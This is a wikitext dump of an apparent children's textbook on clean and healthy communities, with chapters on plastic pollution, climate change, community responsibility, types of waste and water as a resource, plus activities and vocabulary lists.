Group the items into categories such as: * Bottles * Bags * Wrappers * Containers * Other plastic items Then discuss: # Which type of plastic waste was most common? # Which items could have been avoided? # Which items could be reused? # Which items could potentially be recycled? # How could your household or class produce less plastic waste? Create a '''“Plastic Reduction Plan”''' with three actions that your class can follow for one month. ---- === 17. Key Vocabulary === '''Plastic:''' A group of synthetic or semi-synthetic materials made mainly from polymers. '''Plastic pollution:''' The accumulation or presence of plastic waste in the environment in ways that cause harm or environmental problems. '''Microplastic:''' A very small plastic particle, generally less than 5 millimetres in size. '''Recycle:''' To process used materials so they can be used to make new products. '''Reuse:''' To use an item again instead of throwing it away. '''Litter:''' Waste that has been carelessly discarded in the environment. '''Waste management:''' The collection, sorting, treatment, recovery, and safe disposal of waste. '''Biodegradable:''' Able to break down naturally through biological processes. ---- === 18. Questions for Discussion === # What is plastic pollution? # Give five examples of plastic items used in your community. # How can plastic enter rivers and lakes? # How can plastic harm animals? # What are microplastics? # Why is burning plastic in open fires a problem? # What is the difference between reusing and recycling? # How can students reduce plastic waste at school? # Why should plastic not be thrown into drainage channels? # What three actions can your community take to reduce plastic pollution? ---- === 19. Summary === Plastic is a useful material, but poor management of plastic waste can cause pollution on land and in water. Plastic waste can block drainage systems, damage habitats, harm animals, and break down into microplastics. Burning plastic in open fires can also release harmful pollutants. We can reduce plastic pollution by following the principles of: '''Refuse → Reduce → Reuse → Recycle → Dispose safely''' Everyone has a role to play. At home, at school, in markets, and throughout our communities, responsible choices can help keep our environment clean.<blockquote>'''Use plastic wisely, keep it out of nature, and give every piece of waste the right place.'''</blockquote> == Chapter 6: Our Changing World == === Introduction === The Earth is our home. It provides us with air to breathe, water to drink, food to eat, and land on which we live and work. The Earth's climate also affects plants, animals, agriculture, and human activities. Today, the Earth's climate is changing. '''Climate change''' refers to long-term changes in the average conditions of the Earth's climate, including changes in temperature, rainfall, and weather patterns. Climate has changed naturally throughout Earth's history. However, human activities have caused a significant increase in greenhouse gases in the atmosphere, contributing to the current warming of the planet. Understanding climate change helps us make informed choices about how to protect people, communities, and the natural environment. ---- === 1. What Is Climate? === '''Climate''' is the usual pattern of weather in a particular place over a long period. Climate includes things such as: * Temperature * Rainfall * Humidity * Wind * Seasons For example, one rainy day tells us about '''weather''', while the typical pattern of rainfall over many years tells us about '''climate'''. === Weather and Climate === '''Weather:''' What the atmosphere is like over a short period. '''Climate:''' The long-term pattern of atmospheric conditions. A simple way to remember this is:<blockquote>'''Weather is what we experience today; climate is the pattern we observe over many years.'''</blockquote> ---- === 2. What Is Climate Change? === '''Climate change''' is a long-term change in the Earth's climate. It can involve changes in: * Average temperatures * Rainfall patterns * The frequency or intensity of some extreme weather events * Sea levels * Glaciers and ice * Oceans and ecosystems Climate change is not simply about the Earth becoming warmer every day. Different regions can experience different changes. ---- === 3. The Greenhouse Effect === The Earth's atmosphere contains gases called '''greenhouse gases'''. Important greenhouse gases include: * Carbon dioxide * Methane * Nitrous oxide * Water vapour These gases help keep the Earth warm enough for life. This natural process is called the '''greenhouse effect'''. Without the natural greenhouse effect, Earth would be much colder. The problem is that human activities have increased the concentrations of several greenhouse gases in the atmosphere. This strengthens the greenhouse effect and causes additional warming. ---- === 4. Causes of Modern Climate Change === Human activities are the main cause of the recent long-term warming of the Earth's climate. Major sources of greenhouse gas emissions include: ==== A. Burning Fossil Fuels ==== Coal, oil, and natural gas are burned to produce energy for: * Electricity * Transport * Industry * Heating and cooking Burning fossil fuels releases carbon dioxide. ==== B. Deforestation ==== Trees absorb carbon dioxide as they grow. When forests are destroyed, this carbon-storage capacity is reduced, and carbon can also be released into the atmosphere. ==== C. Agriculture ==== Agriculture can produce greenhouse gases such as methane and nitrous oxide. Sources include: * Livestock * Rice cultivation * Fertiliser use * Management of agricultural soils ==== D. Industry ==== Some industrial processes release greenhouse gases directly or use large amounts of fossil-fuel energy. ==== E. Waste ==== Poorly managed waste can produce greenhouse gases. For example, organic waste decomposing without enough oxygen in landfills can generate methane. ---- === 5. Signs of a Changing Climate === Scientists use observations from many parts of the world to study climate change. Evidence includes: * Rising global average temperatures * Warming oceans * Melting glaciers and ice sheets * Rising sea levels * Changes in some ecosystems * Changes in the timing or distribution of some biological events These changes occur over long periods, so scientists use measurements collected over many years. ---- === 6. Climate Change and Water === Climate change can affect water resources. Changes in temperature and rainfall can influence: * Rivers * Lakes * Groundwater * Soil moisture * Water availability Some areas may experience heavier rainfall or flooding, while others may experience longer or more severe dry periods. Changes in water availability can affect households, agriculture, animals, and ecosystems. ---- === 7. Climate Change and Agriculture === Agriculture depends heavily on climate. Farmers need suitable: * Rainfall * Temperatures * Soil conditions * Growing seasons Climate change can make farming more difficult when rainfall becomes less predictable or temperatures become unsuitable for certain crops. Farmers can respond through '''adaptation''', such as: * Planting drought-tolerant crops where appropriate * Improving water management * Using soil-conservation methods * Adjusting planting dates * Diversifying crops and livelihoods The best adaptation measures depend on local conditions. ---- === 8. Climate Change and Animals === Animals depend on suitable habitats, food, water, and temperatures. As climate conditions change, some species may: * Move to new areas * Change feeding or breeding patterns * Face greater pressure from habitat changes * Become more vulnerable to disease or other environmental stresses Species that cannot adapt or move quickly enough may face increased risks. Protecting natural habitats can help wildlife cope with environmental changes. ---- === 9. Climate Change and Forests === Forests are important in the fight against climate change. Trees remove carbon dioxide from the atmosphere and store carbon in their: * Trunks * Branches * Leaves * Roots * Soil Forests also provide habitats, protect soil, support water systems, and provide resources for communities. Protecting forests and managing them sustainably can therefore provide both environmental and social benefits. ---- === 10. Climate Change and Human Health === Climate change can affect human health in several ways. For example, changes in temperature can increase heat-related risks. Flooding can damage homes and sanitation systems, while drought can affect food and water supplies. Climate change can also influence the conditions under which some disease-carrying organisms survive and spread. The effects are not the same everywhere. Local conditions, healthcare systems, infrastructure, and people's ability to adapt all matter. ---- === 11. Climate Change and Extreme Weather === Climate change does not cause every individual weather event. However, warming can influence the likelihood or intensity of '''some''' extreme events. Examples include: * Heatwaves * Heavy rainfall * Flooding * Droughts The relationship differs between types of events and locations, so scientists study individual events and regions carefully. ---- === 12. What Is Climate Change Adaptation? === '''Adaptation''' means adjusting to actual or expected climate changes in order to reduce harm or take advantage of possible opportunities. Examples include: * Building stronger drainage systems. * Protecting wetlands. * Improving water storage. * Growing crops suited to changing conditions. * Planting trees for shade. * Developing early-warning systems for dangerous weather. * Improving building designs. Adaptation helps communities prepare for changes that are already occurring or expected. ---- === 13. What Is Climate Change Mitigation? === '''Mitigation''' means reducing greenhouse gas emissions or increasing the amount of greenhouse gases removed from the atmosphere. Examples include: * Using renewable energy such as solar and wind power. * Improving energy efficiency. * Using public transport where practical. * Walking or cycling for suitable journeys. * Protecting and restoring forests. * Reducing unnecessary waste. * Improving waste management. * Developing lower-emission technologies. Mitigation addresses the causes of climate change, while adaptation focuses on reducing the harm caused by its effects. ---- === 14. What Can Students Do? === Students may not control large industries or national policies, but their everyday actions can contribute to environmental protection. ==== At School ==== Students can: * Switch off unnecessary lights and electrical equipment. * Avoid wasting paper. * Walk or cycle where it is safe and practical. * Use reusable items where appropriate. * Plant and care for trees. * Prevent littering. * Protect school gardens and green spaces. ==== At Home ==== Families can: * Use energy efficiently. * Reduce unnecessary waste. * Reuse suitable items. * Avoid unnecessary burning of waste. * Save water. * Plant and care for appropriate trees. * Choose lower-waste options where practical. Individual actions are useful, but addressing climate change also requires action by communities, businesses, governments, and other institutions. ---- === 15. Climate Change and Our Community === Communities can work together to become more resilient. Useful activities include: * Protecting forests and wetlands. * Improving drainage. * Maintaining clean water sources. * Planting appropriate trees. * Using sustainable farming practices. * Preparing emergency plans. * Sharing information about climate risks. * Supporting reliable weather and early-warning information. Local knowledge is also valuable. People who have lived in an area for many years may notice changes in rainfall, seasons, water availability, or farming conditions. Combining local knowledge with scientific information can help communities plan effectively. ---- === 16. A Greener Future === A changing climate presents challenges, but people can take action. A greener future can involve: * Clean and efficient energy * Sustainable agriculture * Protected forests * Healthy wetlands * Less waste * Cleaner transport * Efficient use of water * Climate-resilient communities Young people have an important role because today's decisions will affect the world they live in throughout their lives. ---- === 17. Practical Activity: Observe Your Environment === ==== Activity ==== Keep a simple weather diary for two weeks. Each day, record: * Temperature if a thermometer is available * Whether it rained * Approximate amount of rainfall if measurable * Cloud conditions * Wind conditions * Any unusual weather observations At the end of two weeks, discuss: # Which days were rainy? # Which days were dry? # Did the weather change from day to day? # Can two weeks of observations tell us the long-term climate of your area? Why or why not? # Why do scientists need measurements collected over many years to study climate? This activity helps students understand the difference between '''weather''' and '''climate'''. ---- === 18. Key Vocabulary === '''Climate:''' The long-term pattern of weather conditions in a particular area. '''Climate change:''' Long-term changes in the Earth's climate. '''Greenhouse gas:''' A gas that absorbs and re-emits infrared radiation, contributing to the greenhouse effect. '''Greenhouse effect:''' The natural process by which certain atmospheric gases help keep Earth warm. '''Global warming:''' The long-term increase in Earth's average surface temperature. '''Deforestation:''' The large-scale removal of forests or trees. '''Mitigation:''' Actions that reduce greenhouse gas emissions or increase greenhouse gas removal. '''Adaptation:''' Adjustments that help people and ecosystems cope with actual or expected climate changes. '''Renewable energy:''' Energy from sources that are naturally replenished, such as sunlight, wind, and flowing water. '''Resilience:''' The ability of people, communities, or ecosystems to prepare for, cope with, and recover from difficulties. ---- === 19. Questions for Discussion === # What is climate? # What is the difference between weather and climate? # What is climate change? # What is the greenhouse effect? # Name four human activities that contribute to greenhouse gas emissions. # How can climate change affect agriculture? # How can climate change affect water resources? # What is the difference between adaptation and mitigation? # How can forests help address climate change? # What can students do to help protect the environment? # Why is it important to collect climate information over many years? # How can your community prepare for climate-related risks? ---- === 20. Summary === Climate is the long-term pattern of weather in a place. '''Climate change''' refers to long-term changes in climate, including changes in temperature and rainfall patterns. The Earth's climate has changed naturally in the past, but human activities—particularly the burning of fossil fuels and changes in land use—have increased greenhouse gas concentrations and caused significant recent warming. Climate change can affect '''water, agriculture, forests, wildlife, human health, and communities'''. People can respond through two important approaches: * '''Mitigation:''' reducing the causes of climate change. * '''Adaptation:''' preparing for and adjusting to its effects. Everyone has a role to play in caring for our planet.<blockquote>'''Our world is changing, and our choices today can help shape the world of tomorrow.'''</blockquote> = References = 9fgv4kr9e9vh1smbaqpwb6foaq9yt34 4670694 4670691 2026-09-17T16:49:39Z Sisterian 3123918 Arranged book structure 4670694 wikitext text/x-wiki == '''<big>A Young Reader's Guide to a Clean and Healthy Community.</big>''' == == '''Book Summary:''' == A Young Reader’s Guide to a Clean and Healthy Community is an educational book for Primary 4–6 learners that teaches children how to care for their homes, schools and communities. The book begins by helping children understand what a community is and why everyone has a responsibility to care for it. It then introduces proper waste management, protection of water sources, the importance of trees, teamwork and children's leadership. Through simple explanations, stories, activities and discussion questions, learners are encouraged to move from simply learning about environmental problems to taking positive action. === Expected Outcome === The book will encourage children to practice good hygiene, protect the environment, work together and take responsibility for creating cleaner, safer and healthier communities. === Conclusion === The book will remind young readers that everyone has a role to play in protecting the environment and that '''small actions can make a big difference'''. == '''Introduction:''' == Our environment is our home. We live, learn, play and grow in it. Keeping it clean and healthy helps us stay safe and happy. This book teaches young readers simple ways to care for their homes, schools and communities. Through short stories, activities and questions, children will learn about rubbish, clean water, trees, teamwork and responsibility. Remember, '''small actions can make a big difference!''' == Chapter 1: Our Community, Our Responsibility == === Understanding a community === While we traditionally think of a community as the people in a given geographical location, the word can really refer to any group sharing something in common -- '''place''' (such as a city, neighborhood, or school district), '''experience''' (such as shared experience of racism), or '''interest''' (e.g., a community's concern about poverty or violence prevention). These various communities often overlap. A Black art teacher, for example, might see herself (or be seen by others) as a member of the Black, arts, and/or education communities, as well as of a particular faith community. Whichever community defines your work, you will want to get to know it well. Examples of communities include homes, schools, villages and neighborhoods. People in a community share places and resources. They should help one another and work together to solve problems.<ref>{{Cite web |title=Community shared resources: Connecting the Dots: The Impact of Shared Resources in Local Communities |url=https://fastercapital.com/content/Community-shared-resources--Connecting-the-Dots--The-Impact-of-Shared-Resources-in-Local-Communities.html |access-date=2026-09-14 |website=FasterCapital |language=en}}</ref> === What do we mean by understanding and describing the community? === Understanding the community entails understanding it in a number of ways. Whether or not the community is defined geographically, it still has a geographic context -- a setting that it exists in. Getting a clear sense of this setting may be key to a full understanding of it. At the same time, it's important to understand the specific community you're concerned with. You have to get to know its people -- their culture, their concerns, and relationships -- and to develop your own relationships with them as well. * ''Physical aspects''. Every community has a physical presence of some sort, even if only one building. Most have a geographic area or areas they are either defined by or attached to. It's important to know the community's size and the look and feel of its buildings, its topography (the lay of the land -- the hills, valleys, rivers, roads, and other features you'd find on a map), and each of its neighborhoods. Also important are how various areas of the community differ from one another, and whether your impression is one of clean, well-maintained houses and streets, or one of shabbiness, dirt, and neglect. If the community is one defined by its population, then its physical properties are also defined by the population: where they live, where they gather, the places that are important to them. The characteristics of those places can tell you a great deal about the people who make up the community. Their self-image, many of their attitudes, and their aspirations are often reflected in the places where they choose -- or are forced by circumstance or discrimination -- to live, work, gather, and play. * ''Infrastructure''. Roads, bridges, transportation (local public transportation, airports, train lines), electricity, landline and mobile telephone service, broadband service, and similar "basics" make up the infrastructure of the community, without which it couldn't function. * ''Patterns of settlement, commerce, and industry''. Where are those physical spaces we've been discussing? Communities reveal their character by where and how they create living and working spaces. Where there are areas with severely inadequate housing and limited services --  substandard housing in areas with few or no services that are the only options for people with lower incomes -- the value the larger community places on those residents seems clear. Are heavy industries located next to residential neighborhoods? If so, who lives in those neighborhoods? Are some parts of the community dangerous, either because of high crime and violence or because of unsafe conditions in the built or natural environment? * ''Demographics''.  It's vital to understand who makes up the community.  Age, gender, race and ethnicity, marital status, education, number of people in household, first language -- these and other statistics make up the demographic profile of the population. When you put them together (e.g.,  the education level of black women ages 18-24), it gives you a clear picture of who community residents are. * ''History''. The long-term history of the community can tell you about community traditions, what the community is, or has been, proud of, and what residents would prefer not to talk about. Recent history can afford valuable information about conflicts and factions within the community, important issues, past and current relationships among key people and groups -- many of the factors that can trip up any effort before it starts if you don't know about and address them. * ''Community leaders, formal and informal''. Some community leaders are elected or appointed -- mayors, city councilors, directors of public works. Others are considered leaders because of their activities or their positions in the community -- community activists, corporate CEO's, college presidents, doctors, clergy.  Still others are recognized as leaders because, they are trusted for their proven integrity, courage, and/or care for others and the good of the community. * ''Community culture, formal and informal''. This covers the spoken and unspoken rules and traditions by which the community lives. It can include everything from community events and slogans -- the blessing of the fishing fleet, the "Artichoke Capital of the World" -- to norms of behavior -- turning a blind eye to alcohol use disorder or domestic violence -- to patterns of discrimination and exercise of power. Understanding the culture and how it developed can be crucial, especially if that's what you're attempting to change. * ''Existing groups''.  Most communities have an array of groups and organizations of different kinds -- service clubs (Lions, Rotary, etc.), faith groups, youth organizations, sports teams and clubs, groups formed around shared interests, the boards of community-wide organizations (the YMCA, the Rotary Club), as well as groups devoted to self-help, advocacy, and activism.  Knowing of the existence and importance of each of these groups can pave the way for alliances or for understanding opposition. * ''Existing institutions''. Every community has institutions that are important to it, and that have more or less credibility with residents. Colleges and universities, libraries, religious institutions, hospitals -- all of these and many others can occupy important places in the community. It's important to know what they are, who represents them, and what influence they wield. * ''Economics''.  Who are the major employers in the community?  What, if any, business or industry is the community's base? Who, if anyone, exercises economic power? How is wealth distributed? Would you characterize the community as poor, working, class, middle class, or affluent?  What are the economic prospects of the population in general and/or the population you're concerned with? * ''Government/Politics''. Understanding the structure of community government is obviously important. Some communities may have strong mayors and weak city councils, others the opposite. Still other communities may have no mayor at all, but only a town manager, or may have a different form of government entirely.  Whatever the government structure, where does political power lie? Understanding where the real power is can be the difference between a successful effort and a vain one. * ''Social structure''. Many aspects of social structure are integrated into other areas -- relationships, politics, economics -- but there are also the questions of how people in the community relate to one another on a daily basis, how problems are (or aren't) resolved, who socializes or does business with whom, etc. This area also includes perceptions and symbols of status and respect, and whether status carries entitlement or responsibility (or both). * ''Attitudes and values''. Again, much of this area may be covered by investigation into others, particularly culture. What does the community care about, and what does it ignore? What are residents' assumptions about the proper way to behave, to dress, to do business, to treat others? Is there widely accepted discrimination against one or more groups by the majority or by those in power? What are the norms for interaction among those who with different opinions or different backgrounds? '''We'll discuss all of these aspects of community in greater detail later in the section.'''<blockquote>There are obviously many more aspects of community that can be explored, such as health or education.  The assumption here is that as part of an assessment, you'll aim for a general understanding of the community, as described in this section, and also assess, with a narrower focus, the specific aspects you're interested in.</blockquote>Once you've explored the relevant areas of the community, you'll have the information to create a community description. Depending on your needs and information, this description might be anything from a two-or three-page outline to an in-depth portrait of the community that extends to tens of pages and includes charts, graphs, photographs, and other elements. The point of doing it is to have a picture of the community at a particular point in time that you can use to provide a context for your community assessment and to see the results of whatever actions you take to bring about change.<blockquote>A community description can be as creative as you're capable of making it.  It can be written as a story, can incorporate photos and commentary from community residents, can be done online and include audio and video, etc. The more interesting the description is, the more people are likely to actually read it.</blockquote> === Caring for Our Surroundings and the enviroment === Our surroundings or environment is the natural world around you the air, water, land, plants, and animals. Everything in nature is part of your environment. You share this environment with people, animals, and plants in your community. === '''How you can care for your surroundings''' === === Reduce, Reuse, and Recycle === You can follow the three-R rule every day. '''Reduce''' means using less so you make less waste. '''Reuse''' means using something again instead of throwing it away. '''Recycle''' means turning old materials into new ones. For example, you can use a reusable lunch bag and water bottle at school. You can decorate an old jar and use it as a pencil holder. You can put paper and plastic bottles in the recycling bin. === Sorting Your Waste === You sort your waste by putting it in the right bin. Banana peels go in the '''compost bin'''. A plastic bottle goes in the '''recycling bin'''. A broken toy that cannot be fixed goes in the '''garbage bin'''. Sorting waste properly helps protect the environment. === Composting === Composting means collecting food waste like; banana peels, left overs and vegetable cuttings. These wastes break down and turn into rich soil for gardens. === Saving Water and Energy === You can save water by turning off the tap while brushing your teeth. You can save electricity by turning off lights when you leave a room. These small actions help protect natural resources every single day. === Planting Trees and Native Plants === Trees clean the air and give animals a home. Planting flowers and native plants in your garden helps birds, bees, and butterflies find food and shelter. This supports the wildlife in your neighborhood. Additionally, you can help by; Cleaning our homes, classrooms and playgrounds, and Keeping water sources clean. * Avoiding damage to public property. * Helping people who need support. === Children's Responsibilities === Children have an important role in caring for their communities. They can help by setting a good example and encouraging others to behave responsibly.<ref>{{Cite web |date=2024-06-05 |title=Empowering Kids to Make a Big Impact in Their Communities |url=https://sesameworkshop.org/resources/empowering-kids-to-make-a-big-impact-in-their-communities/ |access-date=2026-09-14 |website=Sesame Workshop |language=en-US}}</ref> Children should respect others, avoid littering and report dangerous or dirty places to trusted adults. === Short Story: The Rubbish Behind the Library === Some pupils noticed rubbish behind their school library. They decided to clean the area with the help of their teacher. They collected the rubbish, placed it in bins and planted flowers near the library. The area became clean and beautiful. Other pupils followed their example. '''Lesson:''' Everyone can help to improve the community. === Activity and Discussion === # What is a community? # Name three ways of keeping your school clean. # Why should children care for their surroundings? # Organize a small classroom cleaning activity. == Chapter 2: Types of Waste and Every Piece of Rubbish Has a Place == === Introduction === Every day, people produce waste. We throw away food scraps, plastic bottles, paper, cans, old clothes, broken equipment, and many other things. Waste is a normal part of human life, but the way we handle it determines whether it becomes a danger or a useful resource. Waste that is thrown anywhere can make our surroundings dirty, block drainage channels, pollute water, attract pests, and spread disease. However, when waste is '''sorted, reused, recycled, treated, or disposed of correctly''', it can be managed safely. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. ---- === 1. What Is Waste? === '''Waste''' is any material, substance, or object that a person no longer wants or needs and decides to discard.<ref>{{Cite web |title=What is waste? – KS2 Science curriculum |url=https://www.bbc.co.uk/bitesize/articles/z2rhcj6 |access-date=2026-09-14 |website=BBC Bitesize |language=en-GB}}</ref> Examples include: * Banana peels * Plastic bottles * Newspapers * Empty tins * Broken glass * Old batteries * Used clothes * Food leftovers * Broken electronic devices Not all waste is the same. Different materials have different effects on the environment and require different methods of handling. ---- === 2. Types of Waste === Waste can be classified in several ways. The most common classification is according to its '''nature and source'''. ==== A. Biodegradable Waste ==== '''Biodegradable waste''' is waste that can be broken down naturally by microorganisms such as bacteria and fungi. Examples include: * Fruit and vegetable peels * Food leftovers * Leaves * Grass * Animal manure * Paper and some untreated natural materials Biodegradable waste can often be turned into '''compost''', which is useful for improving soil. === Example === Instead of throwing banana peels into a general rubbish pile, they can be collected with other organic materials and composted. '''Remember:''' '''Biodegradable = can naturally break down.''' ---- ==== B. Non-Biodegradable Waste ==== '''Non-biodegradable waste''' does not break down easily through natural processes, or it may take a very long time to do so. Examples include: * Plastic bags * Plastic bottles * Glass * Some metals * Synthetic materials Some non-biodegradable materials can be '''reused or recycled''' rather than thrown away. === Why is it a problem? === When non-biodegradable waste is poorly managed, it can remain in the environment for long periods and contribute to land and water pollution. '''Remember:''' '''Non-biodegradable = does not easily break down naturally.''' ---- === 3. Recyclable Waste === '''Recyclable waste''' consists of materials that can be collected and processed into new products.<ref>{{Cite web |last=Gabriel |first=Mr |date=2024-09-12 |title=How to Dispose Waste Properly: A Guide to Proper Waste Management |url=https://whatisgreenliving.com/how-to-dispose-waste-properly/ |access-date=2026-09-14 |website=What is Green Living? |language=en-GB}}</ref> Common recyclable materials include: * Paper * Cardboard * Certain plastics * Aluminium cans * Steel cans * Glass bottles and containers For recycling to work effectively, materials should be '''sorted and kept reasonably clean'''.<ref>{{Cite web |title=Topic 2 Reusing in daily life – CICLO |url=https://ciclo-project.eu/topic/topic-2-reusing-in-daily-life/ |access-date=2026-09-14 |language=en-GB}}</ref> === Example === An empty metal drink can can be collected, processed, and used to make new metal products instead of being sent directly to a landfill. ---- === 4. Hazardous Waste === '''Hazardous waste''' is waste that can cause harm to people, animals, or the environment if it is handled or disposed of incorrectly. Examples include: * Used batteries * Certain chemicals * Pesticide containers * Some paints and solvents * Medical sharps * Some electronic waste * Certain cleaning products Hazardous waste should '''not simply be mixed with ordinary household rubbish'''. It may require special collection, treatment, or disposal. ==== Safety rule ==== Never play with, burn, open, or pour unknown chemicals or hazardous waste into drains, rivers, or onto the ground. ---- === 5. Electronic Waste === '''Electronic waste''', commonly called '''e-waste''', includes unwanted electrical and electronic equipment. Examples include: * Old mobile phones * Computers * Televisions * Radios * Chargers * Keyboards * Printers * Broken appliances Electronic devices contain valuable materials that can sometimes be recovered and reused. They may also contain substances that require careful handling. Therefore, unwanted electronics should be taken to appropriate collection or recycling facilities where available. ---- === 6. Medical Waste === '''Medical waste''' is waste produced during healthcare activities. Examples include: * Used syringes * Needles * Bandages * Gloves * Contaminated dressings * Certain medicines and medical materials Medical waste can pose health risks if it is not properly handled. For example, '''used needles should never be placed loosely into ordinary rubbish''', because they can injure people and potentially transmit infection. Healthcare facilities use special containers and procedures for managing such waste. ---- === 7. Construction and Demolition Waste === Construction activities produce waste such as: * Broken bricks * Concrete * Soil * Wood * Roofing materials * Scrap metal * Tiles Some of these materials can be reused in construction or recycled. Good construction waste management reduces unnecessary dumping and saves useful materials. ---- === 8. Liquid Waste === '''Liquid waste''' is waste in liquid form. Examples include: * Wastewater * Used cooking oil * Certain industrial liquids * Sewage * Some chemical liquids Liquid waste must be managed carefully because it can easily enter soil, drains, streams, lakes, and groundwater. '''Never pour hazardous liquids into a river, open drain, or onto bare soil.''' ---- === 9. Gaseous Waste === Some human activities release waste substances into the air in the form of gases or particles. Sources can include: * Vehicle exhaust * Industrial processes * Burning waste * Certain fuel-burning appliances Poor management of air pollutants can contribute to poor air quality and environmental damage. This is one reason '''open burning of rubbish is generally a poor waste-management practice''', especially when plastics and other materials are burned. ---- === 10. Every Piece of Rubbish Has a Place === The statement '''“Every piece of rubbish has a place”''' teaches us that waste should not be thrown carelessly. Different kinds of waste should go to appropriate destinations. A simple waste-sorting system can look like this: {| class="wikitable" !Type of waste !Examples !Suitable action |- |Organic waste |Food scraps, leaves |Composting |- |Paper/cardboard |Newspapers, boxes |Reuse or recycle |- |Plastics |Bottles, containers |Reuse or recycle where facilities exist |- |Glass |Bottles, jars |Reuse or recycle |- |Metals |Cans, scrap metal |Recycle |- |E-waste |Phones, computers |Special collection/recycling |- |Hazardous waste |Batteries, chemicals |Special handling |- |Medical waste |Needles, contaminated materials |Approved medical-waste system |- |General residual waste |Materials that cannot be recovered |Appropriate final disposal |} The exact collection system differs from one community to another, so people should follow the waste-sorting rules used by their local authority or waste-collection service. ---- === 11. The Waste Hierarchy === Good waste management does not begin with throwing things away. It follows a hierarchy that encourages people to prevent waste first. ==== 1. Refuse ==== Avoid unnecessary items when possible. '''Example:''' Refuse unnecessary single-use packaging. ==== 2. Reduce ==== Use fewer resources and produce less waste. '''Example:''' Buy only the food you are likely to use. ===== 3. Reuse ===== Use an item again instead of throwing it away. '''Example:''' Use a durable shopping bag repeatedly. ===== 4. Repair ===== Fix broken items when practical. '''Example:''' Repair a chair rather than immediately replacing it. ===== 5. Recycle ===== Process suitable materials into new products. '''Example:''' Recycle suitable paper, metal, glass, and plastics. ===== 6. Recover ===== Recover useful materials or energy from waste through appropriate processes. ===== 7. Dispose ===== Waste that cannot reasonably be reused, recycled, or recovered should be disposed of safely. '''The key lesson is: disposal should not be our first choice.''' ---- === 12. Why Proper Waste Management Matters === Proper waste management has many benefits. ==== Protects human health ==== Accumulated rubbish can attract flies, rats, and other pests. Poorly managed waste can also create opportunities for disease transmission. ==== Protects water ==== Waste dumped into waterways can contaminate rivers, lakes, and other sources of water. ==== Protects soil ==== Chemicals and other harmful substances can contaminate soil when waste is poorly disposed of. ==== Keeps communities clean ==== Clean streets, schools, homes, and public spaces are safer and more pleasant. ==== Saves resources ==== Recycling and reuse allow valuable materials to remain in use rather than constantly requiring new raw materials. ==== Reduces pollution ==== Sorting and treating waste properly can reduce pollution caused by dumping and inappropriate burning. ---- === 13. Waste Management at Home and School === Everyone can contribute to better waste management. ==== At home ==== * Keep rubbish in suitable containers. * Separate organic waste from recyclable materials where possible. * Compost suitable organic waste. * Reuse containers and bags. * Avoid unnecessary single-use products. * Keep hazardous materials separate. * Never dump rubbish in drainage channels or waterways. ==== At school ==== Schools can: * Provide clearly labelled waste bins. * Teach learners about waste separation. * Organise clean-up activities. * Encourage reusable water bottles. * Collect paper for recycling where facilities exist. * Compost suitable food and garden waste. * Ensure sharp or hazardous materials are handled safely. ---- === 14. A Simple Waste-Sorting Activity === Imagine that you have the following items: # Banana peel # Plastic water bottle # Newspaper # Broken battery # Glass bottle # Old mobile phone # Food leftovers # Used needle How should they be handled? * '''Banana peel →''' organic waste/compost * '''Plastic bottle →''' reuse or appropriate plastic recycling * '''Newspaper →''' reuse or paper recycling * '''Battery →''' special battery/e-waste collection * '''Glass bottle →''' reuse or glass recycling * '''Old mobile phone →''' e-waste collection/recycling * '''Food leftovers →''' composting where appropriate * '''Used needle →''' approved sharps/medical-waste disposal This demonstrates why '''sorting waste at the point where it is produced''' is so important. ---- === 15. Key Vocabulary === '''Waste:''' Material that is discarded because it is no longer wanted or needed. '''Biodegradable:''' Able to break down naturally through biological processes. '''Non-biodegradable:''' Not easily broken down naturally. '''Recycle:''' Process used materials so they can be made into new products. '''Reuse:''' Use an item again instead of discarding it. '''Compost:''' Decomposed organic material that can be used to improve soil. '''Hazardous waste:''' Waste that can pose a danger to people or the environment. '''E-waste:''' Discarded electrical and electronic equipment. === Short Story: Amina's Big Idea === Amina saw many plastic bottles around her school. She suggested collecting the bottles and using some of them to make flower containers. Her classmates helped her. Soon, the school had fewer bottles on the ground and more beautiful flowers. '''Lesson:''' Waste materials can sometimes be reused in useful ways. === Practical Activity === Collect safe reusable materials and make a useful object, such as a flowerpot, pencil holder or decoration. == Chapter 3: Water Is Life == === Introduction === Water is one of the most important resources on Earth. Every living thing needs water to survive. People, animals, and plants all depend on water for life and growth. We use water every day for drinking, cooking, bathing, washing clothes, cleaning, farming, and many other activities. Water is also important in industries, transport, energy production, and recreation. Because water is essential for life, we must use it wisely, protect it from pollution, and make sure that everyone has access to safe water. ---- === 1. What Is Water? === Water is a natural substance made up of hydrogen and oxygen. In its pure form, it has no colour, smell, or taste. Water exists in three main states: * '''Liquid''' – such as water in rivers, lakes, and oceans. * '''Solid''' – such as ice and snow. * '''Gas''' – water vapour found in the atmosphere. Water constantly moves between these states through the '''water cycle'''. ---- === 2. Sources of Water === Water comes from different natural sources. ==== A. Rainwater ==== Rain is an important source of fresh water. Rainwater fills rivers, lakes, wetlands, and reservoirs and also helps to replenish groundwater. People can collect rainwater from rooftops and store it in tanks for appropriate household or other uses. ==== B. Rivers and Streams ==== Rivers and streams provide water for domestic use, agriculture, livestock, industry, and ecosystems. However, water from rivers may contain microorganisms, chemicals, or other contaminants. It may therefore require appropriate treatment before it is safe to drink. ==== C. Lakes ==== Lakes contain large amounts of water and support people, plants, animals, and economic activities. Lakes can provide water for communities, fishing, agriculture, transport, and recreation. ==== D. Groundwater ==== Groundwater is water stored beneath the Earth's surface in soil and rock. It can be accessed through: * Wells * Boreholes * Springs Groundwater is an important source of drinking water in many communities. ==== E. Wetlands ==== Wetlands are areas where water covers or saturates the land for part or all of the year. They provide important environmental services, including storing water, supporting wildlife, and helping to filter pollutants. ---- === 3. Why Water Is Life === Water is essential for almost every activity that supports life. ==== A. Water for Drinking ==== The human body needs water to function properly. People lose water through activities such as breathing, sweating, and urination, so they need to replace it regularly. Safe drinking water is important for maintaining good health. ==== B. Water for Food Production ==== Farmers need water to grow crops and keep animals healthy. Water is used for: * Irrigation * Watering livestock * Cleaning agricultural equipment * Processing some agricultural products Without sufficient water, food production can be seriously affected. ==== C. Water for Plants ==== Plants need water for growth and survival. Water helps plants transport nutrients and supports photosynthesis. Without enough water, plants may wilt, stop growing, or die. ==== D. Water for Animals ==== Animals need water for drinking and other biological processes. Rivers, lakes, wetlands, and other water bodies also provide habitats for many animals. ==== E. Water for Hygiene and Sanitation ==== Water is essential for: * Washing hands * Bathing * Cleaning homes * 